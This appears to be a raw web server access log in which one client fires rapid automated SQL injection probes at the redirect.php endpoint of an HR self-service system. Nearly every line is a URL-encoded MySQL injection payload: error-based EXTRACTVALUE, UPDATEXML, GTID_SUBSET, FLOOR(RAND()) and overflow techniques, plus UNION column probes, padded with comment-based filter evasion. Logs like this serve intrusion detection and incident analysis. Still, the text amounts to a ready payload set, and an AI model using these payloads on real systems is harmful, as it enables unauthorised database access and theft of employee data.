100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x36387a7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71415830%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x36387a7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71415830%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x3953364a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f573454%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FxUYN&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x3953364a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f573454%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FxUYN&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x36387a7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71415830%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x34746232%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36343469%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FB99q&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x34746232%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36343469%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FB99q&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x36633758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b547a4c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FejCH%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x36633758%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b547a4c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FejCH%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6333727a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x557a3459%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F6Zy1%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6333727a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x557a3459%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F6Zy1%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4864617a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77676e72%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F1nBp&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x4864617a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77676e72%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F1nBp&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x41507931%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64546365%29%2C6420%29--%2F%2A%2A%2F3hNi&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x41507931%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x64546365%29%2C6420%29--%2F%2A%2A%2F3hNi&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4d4c4845%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e583333%29%2C6420%29--%2F%2A%2A%2F8n2D&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4d4c4845%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e583333%29%2C6420%29--%2F%2A%2A%2F8n2D&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x436d5669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6a4650%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F8TLO&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x436d5669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4d6a4650%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F8TLO&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x68686646%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32574e48%29%29--%2F%2A%2A%2FU0Vu&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x68686646%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32574e48%29%29--%2F%2A%2A%2FU0Vu&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x70484437%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a567164%29%2C5431%29--%2F%2A%2A%2F4a7o&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x70484437%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a567164%29%2C5431%29--%2F%2A%2A%2F4a7o&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6c4e3274%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5942434b%29%29--%2F%2A%2A%2Fg28y&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6c4e3274%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5942434b%29%29--%2F%2A%2A%2Fg28y&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x7a574b65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36496534%29%2C5431%29--%2F%2A%2A%2FJC1Q&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x7a574b65%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36496534%29%2C5431%29--%2F%2A%2A%2FJC1Q&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x674d6d76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3238706e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F7bXy&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x674d6d76%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3238706e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2F7bXy&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x644d4d6d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76456152%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FiLQw%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x644d4d6d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76456152%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FiLQw%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6333727a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x557a3459%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F6Zy1%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x446c6269%2C%28NULL%29%2C0x55545734%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FIiL0%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:43 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x446c6269%2C%28NULL%29%2C0x55545734%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FIiL0%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
